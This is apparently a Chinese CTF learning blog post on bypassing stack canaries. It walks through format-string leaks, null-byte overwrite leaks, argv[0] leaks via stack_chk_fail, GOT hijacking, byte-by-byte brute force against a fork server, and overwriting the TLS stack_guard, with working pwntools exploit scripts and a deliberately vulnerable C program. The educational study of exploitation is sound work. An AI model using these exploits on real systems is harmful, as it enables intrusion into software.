canary的各种绕过技巧 前几天又被canary给恶心了,以前一直用格式化字符串漏洞和一些输出函数来泄露canary,这一回啥也没有,给我搞麻了
回头想来,我好像就只会这两种canary的泄露方法,于是我打算学一学获取canary的技巧
canary原理 1 2 v4 = __readfsqword(0x28 u); return __readfsqword(0x28 u) ^ v4;
有时候我们会在IDA中看见这两个东西,这就是canary的生成代码
在函数开始,fs:0x28 的值被存储在 ebp - 0xc,在函数返回之前对 ebp - 0xc处的值进行检查,如果和 fs:0x28 不一样,说明发生了溢出,紧接着执行__stack_chk_fail_local 并退出进程
1 2 3 .text:00000000004007F 3 mov rax, fs:28 h .text:00000000004007F C mov [rsp+128 h+var_20], rax .text:0000000000400804 xor eax, eax
1 2 3 4 5 6 .text:0000000000400882 mov rax, [rsp+128 h+var_20] .text:000000000040088 A xor rax, fs:28 h .text:0000000000400893 jnz short loc_4008A9 -------------------------------------------------------------------------- .text:00000000004008 A9 loc_4008A9: .text:00000000004008 A9 call ___stack_chk_fail
//这个图的上面是高地址,下面是低地址
那么,fs:0x28 中的值是怎么生成的呢?
事实上,TLS 中的值由函数 security_init 进行初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static void security_init (void ) { uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL ; } #define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
在gcc中使用canary:
1 2 3 4 5 -fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护,为所有函数插入保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护 -fno-stack-protector 禁用保护
格式化字符串漏洞 这个可以说是经典了,找一找偏移用“%p”一下子就搞出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 10000 | 0x7fffffffdf20 ("aaaaaaaa\n" ) 10008 | 0x7fffffffdf28 --> 0xa ('\n' )10016 | 0x7fffffffdf30 --> 0x0 10024 | 0x7fffffffdf38 --> 0x0 10032 | 0x7fffffffdf40 --> 0x0 10040 | 0x7fffffffdf48 --> 0x0 10048 | 0x7fffffffdf50 --> 0x0 10056 | 0x7fffffffdf58 --> 0x0 10064 | 0x7fffffffdf60 --> 0x0 10072 | 0x7fffffffdf68 --> 0x0 10080 | 0x7fffffffdf70 --> 0x0 10088 | 0x7fffffffdf78 --> 0x0 10096 | 0x7fffffffdf80 --> 0x0 10104 | 0x7fffffffdf88 --> 0x0 10112 | 0x7fffffffdf90 --> 0x0 10120 | 0x7fffffffdf98 --> 0x0 10128 | 0x7fffffffdfa0 --> 0x400a50 (push r15)10136 | 0x7fffffffdfa8 --> 0x7ce1a471e5f87d00 10144 | 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 10152 | 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8 ) 10160 | 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0
可以计算出偏移为“17”
1 2 3 4 formats("%23$p" ) p.recvuntil('0x' ) canary = eval (b'0x' +p.recv(16 )) print (hex (canary))
//通常把gdb和终端结合起来看效果更好
输出函数 canary设计为以字节“\x00”结尾,而输出函数会被“\x00”中断,如果把“\x00”给覆盖了就可以利用输出函数来泄露canary
1 2 3 4 5 6 7 8 9 10 10000 | 0x7fffffffdf20 ("aaaaaaaa" ) 10008 | 0x7fffffffdf20 ("aaaaaaaa" ) 10018 | 0x7fffffffdf20 ("aaaaaaaa" ) 10020 | 0x7fffffffdf20 ("aaaaaaaa" ) 10028 | 0x7fffffffdf20 ("aaaaaaaa" ) 10030 | 0x7fffffffdf20 ("aaaaaaaa" ) 10038 | 0x7fffffffdfa8 --> 0x7ce1a471e5f87d +'\n' 10040 | 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 10048 | 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8 ) 10050 | 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0
这样canary结尾的“\x00”就被替换为了“\n”,后续的read函数就可以成功泄露canary
利用stack_chk_fail的报错信息 前面两个都是常规的,这个就不一样了
1 2 *** stack smashing detected ***: terminated [1 ] 3005 abort (core dumped) ./newbie
当canary被覆盖时,程序会进行上述报错
打印这些字符串的函数是“stack_chk_fail.c”:
1 2 3 4 5 6 7 8 9 10 11 12 "debug/fortify_fail.c" void __attribute__ ((noreturn)) __fortify_fail (msg) const char *msg; { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); } libc_hidden_def (__fortify_fail)
可以发现canary触发时会打印 “libc_argv[0]”,如果栈溢出覆盖了 “libc_argv[0]”,那么程序就会打印覆盖的内容
// libc_argv[0]装有指向程序地址 的指针
这种操作只能泄露指针的内容,并且需要目标指针的地址来覆盖 “libc_argv[0]” ,所以“libc_argv[0]” 相当于输入值的偏移也需要掌握
// 如果存在“fork”,还可以利用这种方式来打印“libc_base”
stack_chk_fail劫持 canary报错时会调用 _stack_chk_fail ,那么劫持 _stack_chk_fail 当然也是一种攻击手段
这个一般通过GOT表劫持该函数,所以不能开启 Full RELRO 保护
像printf格式化漏洞WAA,或者堆溢出WAA,都可以改写GOT表内容,甚至配合UAF和数组越位也可以改写GOT表(如果合适的话)
one-by-one爆破 一般来说,爆破canary是很蠢的事情,因为每次运行程序canary都会改变
但是存在一类通过fork函数开启子进程交互的题目,fork函数会直接拷贝父进程的内存,因此每次创建的子进程的canary是相同的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void getflag (void ) { char flag[100 ]; FILE *fp = fopen("./flag" , "r" ); if (fp == NULL ) { puts ("get flag error" ); exit (0 ); } fgets(flag, 100 , fp); puts (flag); } void init () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); } void fun (void ) { char buffer[100 ]; read(STDIN_FILENO, buffer, 120 ); } int main (void ) { init(); pid_t pid; while (1 ) { pid = fork(); if (pid < 0 ) { puts ("fork error" ); exit (0 ); } else if (pid == 0 ) { puts ("welcome" ); fun(); puts ("recv sucess" ); } else { wait(0 ); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level = 'debug' cn = process('./bin' ) padding = 'a' *100 cn.recvuntil('welcome\n' ) canary = '\x00' for j in range (3 ): for i in range (0x100 ): cn.send( padding + canary + chr (i)) a = cn.recvuntil('welcome\n' ) if 'recv' in a: canary += chr (i) break cn.sendline('a' *100 + canary + 'a' *12 + p32(0x0804864d )) flag = cn.recv() cn.close() log.success('flag is:' + flag)
这个模板可以说是经典了,遇到此类题目后改一改就好了
覆盖TLS中储存的canary值 canary的值存储在fs:[0x28]中
fs寄存器是由glibc定义的,存放Thread Local Storage (TLS)信息
该结构体如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; …… } tcbhead_t ;
这个 stack_guard 是在 libc_start_main 中进行设置和赋值的
一般来说,我们不知道TLS的位置,需要爆破脚本来找出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 offset=1 while True : p = process('./xxxx' ) p.recvuntil("xxxx" ) payload = '' payload += (padding-8 ) payload += 'aaaaaaaa' payload += p64(0xdeadbeef ) payload += p64(0 ) payload += 'a' *(offset-len (payload)) p.send(payload) temp = p.recvall() if "xxxx" in temp: print (offset) p.close() break else : offset += 1 p.close() """" 原本程序覆盖了canary是一定会报错的,但是payload后续填入的“a”可能会覆盖TLS,使程序通过canary 只要程序通过了canary,‘p.recvall()’就会不接受到报错信息(stack_chk_fail) 这之后我们就可以通过打印出的offset来计算偏移了 """ "
当然也可以不找偏移,直接一次性填入非常长的“a”也是可以覆盖的
覆盖TLS的方法只能在有“pthread_create”的题中可以用用,不然程序就很可能会覆盖关键数据,然后直接挂掉